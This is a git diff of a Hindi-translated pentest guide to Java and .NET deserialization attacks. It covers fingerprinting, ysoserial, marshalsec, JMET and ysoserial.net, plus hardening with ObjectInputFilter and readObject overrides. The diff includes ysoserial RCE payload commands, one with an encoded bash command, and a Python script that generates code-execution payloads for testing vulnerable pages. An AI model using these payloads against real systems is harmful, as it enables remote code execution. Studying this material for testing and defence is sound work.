**के लिए**[ **अधिक जानकारी के लिए इस स्रोत को पढ़ें**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### Cryo पुस्तकालय
|
||||
|
||||
@ -315,9 +315,9 @@ deserialize(test)
|
||||
|
||||
Java में, **deserialization callbacks deserialization की प्रक्रिया के दौरान निष्पादित होते हैं**। इस निष्पादन का दुरुपयोग उन हमलावरों द्वारा किया जा सकता है जो इन callbacks को ट्रिगर करने वाले दुर्भावनापूर्ण payloads तैयार करते हैं, जिससे हानिकारक क्रियाओं के संभावित निष्पादन की संभावना होती है।
|
||||
|
||||
### Fingerprints
|
||||
### फिंगरप्रिंट
|
||||
|
||||
#### White Box
|
||||
#### व्हाइट बॉक्स
|
||||
|
||||
कोडबेस में संभावित serialization कमजोरियों की पहचान करने के लिए खोजें:
|
||||
|
||||
@ -333,22 +333,22 @@ Java में, **deserialization callbacks deserialization की प्रक
|
||||
- `ObjectInputStream.readUnshared`।
|
||||
- `Serializable` का सामान्य उपयोग।
|
||||
|
||||
#### Black Box
|
||||
#### ब्लैक बॉक्स
|
||||
|
||||
ब्लैक बॉक्स परीक्षण के लिए, विशेष **हस्ताक्षर या "Magic Bytes"** की तलाश करें जो java serialized objects को दर्शाते हैं (जो `ObjectInputStream` से उत्पन्न होते हैं):
|
||||
ब्लैक बॉक्स परीक्षण के लिए, विशेष **हस्ताक्षर या "मैजिक बाइट्स"** की तलाश करें जो java serialized objects (जो `ObjectInputStream` से उत्पन्न होते हैं) को दर्शाते हैं:
|
||||
|
||||
- हेक्साडेसिमल पैटर्न: `AC ED 00 05`।
|
||||
- बेस64 पैटर्न: `rO0`।
|
||||
- HTTP प्रतिक्रिया हेडर जिनमें `Content-type` `application/x-java-serialized-object` पर सेट है।
|
||||
- पूर्व संकुचन को दर्शाने वाला हेक्साडेसिमल पैटर्न: `1F 8B 08 00`।
|
||||
- पूर्व संकुचन को दर्शाने वाला बेस64 पैटर्न: `H4sIA`।
|
||||
- `.faces` एक्सटेंशन वाले वेब फ़ाइलें और `faces.ViewState` पैरामीटर। इन पैटर्नों की खोज एक वेब एप्लिकेशन में एक परीक्षा का संकेत देती है जैसा कि [Java JSF ViewState Deserialization के बारे में पोस्ट](java-jsf-viewstate-.faces-deserialization.md) में विस्तृत किया गया है।
|
||||
- `.faces` एक्सटेंशन वाले वेब फ़ाइलें और `faces.ViewState` पैरामीटर। एक वेब एप्लिकेशन में इन पैटर्नों की खोज करने से [Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md) के बारे में पोस्ट में विस्तृत जांच की जानी चाहिए।
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
### Check if vulnerable
|
||||
|
||||
If you want to **learn about how does a Java Deserialized exploit work** you should take a look to [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), and [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
|
||||
यदि आप **जानना चाहते हैं कि Java Deserialized exploit कैसे काम करता है** तो आपको [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), और [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md) पर एक नज़र डालनी चाहिए।
|
||||
|
||||
#### White Box Test
|
||||
|
||||
@ -358,16 +358,16 @@ find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
```
|
||||
आप सभी **लाइब्रेरीज़** की जांच करने की कोशिश कर सकते हैं जो ज्ञात हैं कि वे कमजोर हैं और जो [**Ysoserial** ](https://github.com/frohoff/ysoserial) एक एक्सप्लॉइट प्रदान कर सकता है। या आप [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) पर निर्दिष्ट लाइब्रेरीज़ की जांच कर सकते हैं।\
|
||||
आप संभावित गैजेट चेन की खोज के लिए [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) का भी उपयोग कर सकते हैं।\
|
||||
जब आप **gadgetinspector** चला रहे हों (इसे बनाने के बाद) तो इसके द्वारा उत्पन्न होने वाले सैकड़ों चेतावनियों/त्रुटियों की परवाह न करें और इसे पूरा करने दें। यह सभी निष्कर्ष _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ के तहत लिखेगा। कृपया ध्यान दें कि **gadgetinspector एक एक्सप्लॉइट नहीं बनाएगा और यह झूठे सकारात्मक संकेत दे सकता है**।
|
||||
आप संभावित गेज़ेट चेन की खोज के लिए [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) का भी उपयोग कर सकते हैं।\
|
||||
जब आप **gadgetinspector** चला रहे हों (इसे बनाने के बाद) तो इसके द्वारा उत्पन्न होने वाले सैकड़ों चेतावनियों/त्रुटियों की परवाह न करें और इसे पूरा होने दें। यह सभी निष्कर्षों को _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ के तहत लिखेगा। कृपया ध्यान दें कि **gadgetinspector एक एक्सप्लॉइट नहीं बनाएगा और यह झूठे सकारात्मक संकेत दे सकता है**।
|
||||
|
||||
#### ब्लैक बॉक्स टेस्ट
|
||||
|
||||
Burp एक्सटेंशन [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) का उपयोग करके आप **कौन सी लाइब्रेरीज़ उपलब्ध हैं** (और यहां तक कि संस्करण भी) पहचान सकते हैं। इस जानकारी के साथ, **कमजोरी का शोषण करने के लिए एक पेलोड चुनना आसान हो सकता है**।\
|
||||
Burp एक्सटेंशन [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) का उपयोग करके आप **कौन सी लाइब्रेरीज़ उपलब्ध हैं** (और यहां तक कि संस्करण भी) पहचान सकते हैं। इस जानकारी के साथ, **एक पेलोड चुनना आसान हो सकता है** जो कमजोरी का फायदा उठाए।\
|
||||
[**GadgetProbe के बारे में अधिक जानने के लिए इसे पढ़ें**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe **`ObjectInputStream` deserializations** पर केंद्रित है।
|
||||
|
||||
Burp एक्सटेंशन [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) का उपयोग करके आप **ysoserial के साथ शोषण योग्य कमजोर लाइब्रेरीज़** की पहचान कर सकते हैं और **उनका शोषण** कर सकते हैं।\
|
||||
Burp एक्सटेंशन [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) का उपयोग करके आप **कमजोर लाइब्रेरीज़** की पहचान कर सकते हैं जिन्हें ysoserial के साथ **एक्सप्लॉइट** किया जा सकता है।\
|
||||
[**Java Deserialization Scanner के बारे में अधिक जानने के लिए इसे पढ़ें।**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner **`ObjectInputStream`** deserializations पर केंद्रित है।
|
||||
|
||||
@ -379,12 +379,12 @@ Java Deserialization Scanner **`ObjectInputStream`** deserializations पर क
|
||||
सिर्फ यह जांचना ही नहीं है कि क्या सर्वर द्वारा कोई कमजोर लाइब्रेरी का उपयोग किया जा रहा है। कभी-कभी आप **serialized ऑब्जेक्ट के अंदर डेटा को बदलने और कुछ जांचों को बायपास करने में सक्षम हो सकते हैं** (शायद आपको एक वेब ऐप के अंदर प्रशासनिक विशेषाधिकार प्रदान करें)।\
|
||||
यदि आप एक जावा serialized ऑब्जेक्ट पाते हैं जो एक वेब एप्लिकेशन को भेजा जा रहा है, तो **आप उपयोग कर सकते हैं** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **जिससे आप भेजे गए serialization ऑब्जेक्ट को अधिक मानव-पठनीय प्रारूप में प्रिंट कर सकते हैं**। यह जानना कि आप कौन सा डेटा भेज रहे हैं, इसे संशोधित करना और कुछ जांचों को बायपास करना आसान होगा।
|
||||
|
||||
### **शोषण**
|
||||
### **एक्सप्लॉइट**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
जावा deserializations का शोषण करने के लिए मुख्य उपकरण [**ysoserial**](https://github.com/frohoff/ysoserial) है ([**यहां डाउनलोड करें**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). आप [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) का उपयोग करने पर भी विचार कर सकते हैं जो आपको जटिल कमांड (उदाहरण के लिए पाइप के साथ) का उपयोग करने की अनुमति देगा।\
|
||||
ध्यान दें कि यह उपकरण **`ObjectInputStream`** के शोषण पर **केंद्रित** है।\
|
||||
जावा deserializations का फायदा उठाने के लिए मुख्य उपकरण [**ysoserial**](https://github.com/frohoff/ysoserial) है ([**यहां डाउनलोड करें**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))। आप [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) का उपयोग करने पर भी विचार कर सकते हैं जो आपको जटिल कमांड (उदाहरण के लिए पाइप के साथ) का उपयोग करने की अनुमति देगा।\
|
||||
ध्यान दें कि यह उपकरण **`ObjectInputStream`** का फायदा उठाने पर **केंद्रित** है।\
|
||||
मैं **RCE** पेलोड से पहले "URLDNS" पेलोड का उपयोग करना **शुरू करूंगा** यह परीक्षण करने के लिए कि क्या इंजेक्शन संभव है। वैसे भी, ध्यान दें कि शायद "URLDNS" पेलोड काम नहीं कर रहा है लेकिन अन्य RCE पेलोड काम कर रहा है।
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
@ -430,7 +430,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
||||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
जब **java.lang.Runtime.exec()** के लिए एक payload बनाते हैं, तो आप **विशेष वर्ण** जैसे ">" या "|" का उपयोग नहीं कर सकते हैं ताकि निष्पादन का आउटपुट पुनर्निर्देशित किया जा सके, "$()" का उपयोग करके आदेश निष्पादित कर सकें या यहां तक कि **कमांड के लिए तर्क** को **स्पेस** द्वारा अलग कर सकें (आप `echo -n "hello world"` कर सकते हैं लेकिन आप `python2 -c 'print "Hello world"'` नहीं कर सकते)। payload को सही ढंग से एन्कोड करने के लिए, आप [इस वेबपेज](http://www.jackson-t.ca/runtime-exec-payloads.html) का उपयोग कर सकते हैं।
|
||||
जब **java.lang.Runtime.exec()** के लिए एक payload बनाते हैं, तो आप **विशेष वर्ण** जैसे ">" या "|" का उपयोग नहीं कर सकते हैं ताकि निष्पादन का आउटपुट पुनर्निर्देशित किया जा सके, "$()" का उपयोग करके आदेश निष्पादित कर सकें या यहां तक कि **कमांड के लिए तर्क** को **स्पेस** द्वारा अलग कर सकें (आप `echo -n "hello world"` कर सकते हैं लेकिन आप `python2 -c 'print "Hello world"'` नहीं कर सकते)। payload को सही तरीके से एन्कोड करने के लिए आप [इस वेबपेज](http://www.jackson-t.ca/runtime-exec-payloads.html) का उपयोग कर सकते हैं।
|
||||
|
||||
Windows और Linux के लिए **सभी संभावित कोड निष्पादन** payloads बनाने के लिए अगले स्क्रिप्ट का उपयोग करने के लिए स्वतंत्र महसूस करें और फिर उन्हें कमजोर वेब पृष्ठ पर परीक्षण करें:
|
||||
```python
|
||||
@ -455,12 +455,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||
```
|
||||
#### serialkillerbypassgadgets
|
||||
|
||||
आप **इसका उपयोग कर सकते हैं** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **और ysoserial के साथ अधिक एक्सप्लॉइट बनाने के लिए**। इस टूल के बारे में अधिक जानकारी **टॉक की स्लाइड्स** में है जहाँ टूल प्रस्तुत किया गया था: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
आप **इसका उपयोग कर सकते हैं** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **अधिक एक्सप्लॉइट बनाने के लिए ysoserial के साथ**। इस टूल के बारे में अधिक जानकारी **टॉक की स्लाइड्स** में है जहाँ टूल प्रस्तुत किया गया था: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
|
||||
#### marshalsec
|
||||
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec) का उपयोग विभिन्न **Json** और **Yml** सीरियलाइजेशन लाइब्रेरीज़ को एक्सप्लॉइट करने के लिए पेलोड्स उत्पन्न करने के लिए किया जा सकता है।\
|
||||
प्रोजेक्ट को संकलित करने के लिए मुझे `pom.xml` में ये **dependencies** **जोड़ने** की आवश्यकता थी:
|
||||
प्रोजेक्ट को संकलित करने के लिए मुझे `pom.xml` में ये **dependencies** **जोड़नी थीं**:
|
||||
```html
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
@ -493,7 +493,7 @@ mvn clean package -DskipTests
|
||||
|
||||
Java विभिन्न उद्देश्यों के लिए बहुत सारी serialization का उपयोग करता है जैसे:
|
||||
|
||||
- **HTTP requests**: Serialization का व्यापक रूप से प्रबंधन के लिए उपयोग किया जाता है जैसे कि parameters, ViewState, cookies, आदि।
|
||||
- **HTTP requests**: Serialization का व्यापक रूप से प्रबंधन में उपयोग किया जाता है जैसे कि parameters, ViewState, cookies, आदि।
|
||||
- **RMI (Remote Method Invocation)**: Java RMI प्रोटोकॉल, जो पूरी तरह से serialization पर निर्भर करता है, Java अनुप्रयोगों में दूरस्थ संचार के लिए एक आधारशिला है।
|
||||
- **RMI over HTTP**: यह विधि Java-आधारित मोटे क्लाइंट वेब अनुप्रयोगों द्वारा सामान्यतः उपयोग की जाती है, जो सभी ऑब्जेक्ट संचार के लिए serialization का उपयोग करती है।
|
||||
- **JMX (Java Management Extensions)**: JMX नेटवर्क पर ऑब्जेक्ट्स को भेजने के लिए serialization का उपयोग करता है।
|
||||
@ -503,16 +503,16 @@ Java विभिन्न उद्देश्यों के लिए ब
|
||||
|
||||
#### Transient objects
|
||||
|
||||
एक क्लास जो `Serializable` को लागू करती है, वह क्लास के अंदर किसी भी ऑब्जेक्ट को `transient` के रूप में लागू कर सकती है जो serializable नहीं होना चाहिए। उदाहरण:
|
||||
एक वर्ग जो `Serializable` को लागू करता है, वह वर्ग के अंदर किसी भी ऑब्जेक्ट को `transient` के रूप में लागू कर सकता है जिसे serializable नहीं होना चाहिए। उदाहरण:
|
||||
```java
|
||||
public class myAccount implements Serializable
|
||||
{
|
||||
private transient double profit; // declared transient
|
||||
private transient double margin; // declared transient
|
||||
```
|
||||
#### एक क्लास के Serialization से बचें जिसे Serializable लागू करने की आवश्यकता है
|
||||
#### एक क्लास का Serialization करने से बचें जिसे Serializable लागू करने की आवश्यकता है
|
||||
|
||||
उन परिदृश्यों में जहां कुछ **objects को `Serializable`** इंटरफेस लागू करना आवश्यक है क्योंकि क्लास पदानुक्रम है, अनजाने में deserialization का जोखिम होता है। इसे रोकने के लिए, सुनिश्चित करें कि ये objects non-deserializable हैं, एक `final` `readObject()` मेथड को परिभाषित करके जो लगातार एक अपवाद फेंकता है, जैसा कि नीचे दिखाया गया है:
|
||||
उन परिदृश्यों में जहां कुछ **objects को `Serializable`** इंटरफेस लागू करना आवश्यक है क्योंकि क्लास हायरार्की के कारण, अनजाने में deserialization का जोखिम होता है। इसे रोकने के लिए, सुनिश्चित करें कि ये objects non-deserializable हैं, एक `final` `readObject()` मेथड को परिभाषित करके जो लगातार एक अपवाद फेंकता है, जैसा कि नीचे दिखाया गया है:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
@ -554,9 +554,9 @@ return super.resolveClass(desc);
|
||||
|
||||
एक उदाहरण देखें [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
|
||||
**Serialization Filters को लागू करना**: Java 9 ने **`ObjectInputFilter`** इंटरफेस के माध्यम से serialization filters पेश किए, जो उन मानदंडों को निर्दिष्ट करने के लिए एक शक्तिशाली तंत्र प्रदान करते हैं जिन्हें डेसिरियलाइज होने से पहले serialized objects को पूरा करना चाहिए। ये फ़िल्टर वैश्विक रूप से या प्रति स्ट्रीम लागू किए जा सकते हैं, जो डेसिरियलाइजेशन प्रक्रिया पर बारीक नियंत्रण प्रदान करते हैं।
|
||||
**सिरियलाइजेशन फ़िल्टर लागू करना**: Java 9 ने **`ObjectInputFilter`** इंटरफ़ेस के माध्यम से सिरियलाइजेशन फ़िल्टर पेश किए, जो डेसिरियलाइजेशन से पहले सिरियलाइज्ड ऑब्जेक्ट्स को पूरा करने के लिए आवश्यक मानदंडों को निर्दिष्ट करने के लिए एक शक्तिशाली तंत्र प्रदान करते हैं। इन फ़िल्टरों को वैश्विक रूप से या प्रति स्ट्रीम लागू किया जा सकता है, जो डेसिरियलाइजेशन प्रक्रिया पर बारीक नियंत्रण प्रदान करता है।
|
||||
|
||||
Serialization filters का उपयोग करने के लिए, आप एक वैश्विक फ़िल्टर सेट कर सकते हैं जो सभी डेसिरियलाइजेशन संचालन पर लागू होता है या इसे विशिष्ट स्ट्रीम के लिए गतिशील रूप से कॉन्फ़िगर कर सकते हैं। उदाहरण के लिए:
|
||||
सिरियलाइजेशन फ़िल्टर का उपयोग करने के लिए, आप एक वैश्विक फ़िल्टर सेट कर सकते हैं जो सभी डेसिरियलाइजेशन ऑपरेशनों पर लागू होता है या इसे विशिष्ट स्ट्रीम के लिए गतिशील रूप से कॉन्फ़िगर कर सकते हैं। उदाहरण के लिए:
|
||||
```java
|
||||
ObjectInputFilter filter = info -> {
|
||||
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
||||
@ -577,7 +577,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
### संदर्भ
|
||||
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
|
||||
- Deserialization और ysoserial वार्ता: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- डीसिरियलाइजेशन और ysoserial वार्ता: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
- gadgetinspector के बारे में वार्ता: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) और स्लाइड: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
@ -585,12 +585,12 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
- Java और .Net JSON डीसिरियलाइजेशन **पेपर:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** वार्ता: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) और स्लाइड: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- जावा और .Net JSON डीसिरियलाइजेशन **पेपर:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** वार्ता: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) और स्लाइड: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- डीसिरियलाइजेशन CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## JNDI इंजेक्शन और log4Shell
|
||||
|
||||
जानें कि **JNDI इंजेक्शन क्या है, इसे RMI, CORBA और LDAP के माध्यम से कैसे दुरुपयोग किया जा सकता है और log4shell का शोषण कैसे किया जा सकता है** (और इस कमजोरियों का उदाहरण) निम्नलिखित पृष्ठ में:
|
||||
जानें कि **JNDI इंजेक्शन क्या है, इसे RMI, CORBA और LDAP के माध्यम से कैसे दुरुपयोग किया जा सकता है और log4shell का शोषण कैसे किया जा सकता है** (और इस भेद्यता का उदाहरण) निम्नलिखित पृष्ठ में:
|
||||
|
||||
{{#ref}}
|
||||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
@ -613,9 +613,9 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
तो, मूल रूप से, **JMS का उपयोग करने वाली कई सेवाएँ खतरनाक तरीके से हैं**। इसलिए, यदि आपके पास इन सेवाओं को संदेश भेजने के लिए **पर्याप्त विशेषाधिकार** हैं (आमतौर पर आपको मान्य क्रेडेंशियल की आवश्यकता होगी) तो आप **दुर्भावनापूर्ण वस्तुएँ भेजने में सक्षम हो सकते हैं जो उपभोक्ता/सदस्य द्वारा डीसिरियलाइज की जाएंगी**।\
|
||||
इसका मतलब है कि इस शोषण में सभी **क्लाइंट जो उस संदेश का उपयोग करने जा रहे हैं संक्रमित हो जाएंगे**।
|
||||
|
||||
आपको याद रखना चाहिए कि भले ही कोई सेवा कमजोर हो (क्योंकि यह उपयोगकर्ता इनपुट को असुरक्षित रूप से डीसिरियलाइज कर रही है) आपको अभी भी कमजोरियों का शोषण करने के लिए मान्य गैजेट खोजने की आवश्यकता है।
|
||||
आपको याद रखना चाहिए कि भले ही कोई सेवा कमजोर हो (क्योंकि यह उपयोगकर्ता इनपुट को असुरक्षित रूप से डीसिरियलाइज कर रही है) आपको अभी भी भेद्यता का शोषण करने के लिए मान्य गैजेट्स खोजने की आवश्यकता है।
|
||||
|
||||
उपकरण [JMET](https://github.com/matthiaskaiser/jmet) को **इन सेवाओं से कनेक्ट और हमला करने के लिए बनाया गया था, जो ज्ञात गैजेट्स का उपयोग करके कई दुर्भावनापूर्ण वस्तुएँ भेजता है**। ये शोषण तब काम करेंगे जब सेवा अभी भी कमजोर हो और यदि उपयोग किए गए गैजेट में से कोई भी कमजोर अनुप्रयोग के अंदर हो।
|
||||
उपकरण [JMET](https://github.com/matthiaskaiser/jmet) को **इन सेवाओं से कनेक्ट और हमला करने के लिए बनाया गया था, जो ज्ञात गैजेट्स का उपयोग करके कई दुर्भावनापूर्ण वस्तुएँ भेजता है**। ये शोषण तब काम करेंगे जब सेवा अभी भी कमजोर हो और यदि उपयोग किए गए गैजेट्स में से कोई भी कमजोर अनुप्रयोग के अंदर हो।
|
||||
|
||||
### संदर्भ
|
||||
|
||||
@ -624,13 +624,13 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## .Net
|
||||
|
||||
.Net के संदर्भ में, डीसिरियलाइजेशन शोषण उस तरीके से काम करते हैं जो जावा में पाए जाते हैं, जहाँ गैजेट्स का उपयोग करके एक वस्तु के डीसिरियलाइजेशन के दौरान विशिष्ट कोड चलाया जाता है।
|
||||
. Net के संदर्भ में, डीसिरियलाइजेशन शोषण जावा में पाए जाने वाले तरीकों के समान काम करते हैं, जहाँ गैजेट्स का शोषण किया जाता है ताकि किसी वस्तु के डीसिरियलाइजेशन के दौरान विशिष्ट कोड चल सके।
|
||||
|
||||
### फिंगरप्रिंट
|
||||
|
||||
#### व्हाइटबॉक्स
|
||||
|
||||
स्रोत कोड की जांच की जानी चाहिए:
|
||||
स्रोत कोड में निम्नलिखित की घटनाओं की जांच की जानी चाहिए:
|
||||
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
@ -639,19 +639,19 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
#### ब्लैकबॉक्स
|
||||
|
||||
खोज को बेस64 एन्कोडेड स्ट्रिंग **AAEAAAD/////** या किसी समान पैटर्न पर लक्षित करना चाहिए जो सर्वर-साइड पर डीसिरियलाइज हो सकता है, जिससे डीसिरियलाइज होने वाले प्रकार पर नियंत्रण प्राप्त होता है। इसमें **JSON** या **XML** संरचनाएँ शामिल हो सकती हैं जिनमें `TypeObject` या `$type` है।
|
||||
खोज को बेस64 एन्कोडेड स्ट्रिंग **AAEAAAD/////** या किसी समान पैटर्न पर लक्षित करना चाहिए जो सर्वर-साइड पर डीसिरियलाइज हो सकता है, जिससे डीसिरियलाइज होने वाले प्रकार पर नियंत्रण प्राप्त होता है। इसमें **JSON** या **XML** संरचनाएँ शामिल हो सकती हैं जिनमें `TypeObject` या `$type` हो।
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
इस मामले में आप उपकरण [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) का उपयोग कर सकते हैं **डीसिरियलाइजेशन शोषण बनाने के लिए**। एक बार जब आप git रिपॉजिटरी डाउनलोड कर लेते हैं तो आपको **उपकरण को संकलित करना चाहिए**, उदाहरण के लिए, Visual Studio का उपयोग करके।
|
||||
इस मामले में आप उपकरण [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) का उपयोग कर सकते हैं ताकि **डीसिरियलाइजेशन शोषण बनाए जा सकें**। एक बार git रिपॉजिटरी डाउनलोड करने के बाद, आपको **उपकरण को संकलित करना चाहिए**, उदाहरण के लिए, विज़ुअल स्टूडियो का उपयोग करके।
|
||||
|
||||
यदि आप जानना चाहते हैं कि **ysoserial.net अपना शोषण कैसे बनाता है** तो आप [**इस पृष्ठ को देख सकते हैं जहाँ ObjectDataProvider गैजेट + ExpandedWrapper + Json.Net फॉर्मेटर समझाया गया है**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)।
|
||||
यदि आप जानना चाहते हैं कि **ysoserial.net अपने शोषण को कैसे बनाता है** तो आप [**इस पृष्ठ को देख सकते हैं जहाँ ObjectDataProvider गैजेट + ExpandedWrapper + Json.Net फॉर्मेटर की व्याख्या की गई है**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)।
|
||||
|
||||
**ysoserial.net** के मुख्य विकल्प हैं: **`--gadget`**, **`--formatter`**, **`--output`** और **`--plugin`**।
|
||||
|
||||
- **`--gadget`** का उपयोग शोषण के लिए गैजेट को इंगित करने के लिए किया जाता है (उस कक्षा/कार्य को इंगित करें जिसका शोषण डीसिरियलाइजेशन के दौरान आदेशों को निष्पादित करने के लिए किया जाएगा)।
|
||||
- **`--gadget`** का उपयोग शोषण के लिए गैजेट को इंगित करने के लिए किया जाता है (उस कक्षा/कार्य को इंगित करें जिसका शोषण डीसिरियलाइजेशन के दौरान आदेश निष्पादित करने के लिए किया जाएगा)।
|
||||
- **`--formatter`**, शोषण को अनुक्रमित करने के लिए विधि को इंगित करने के लिए उपयोग किया जाता है (आपको यह जानने की आवश्यकता है कि बैक-एंड किस पुस्तकालय का उपयोग कर रहा है ताकि लोड को डीसिरियलाइज किया जा सके और उसी का उपयोग करके इसे अनुक्रमित किया जा सके)।
|
||||
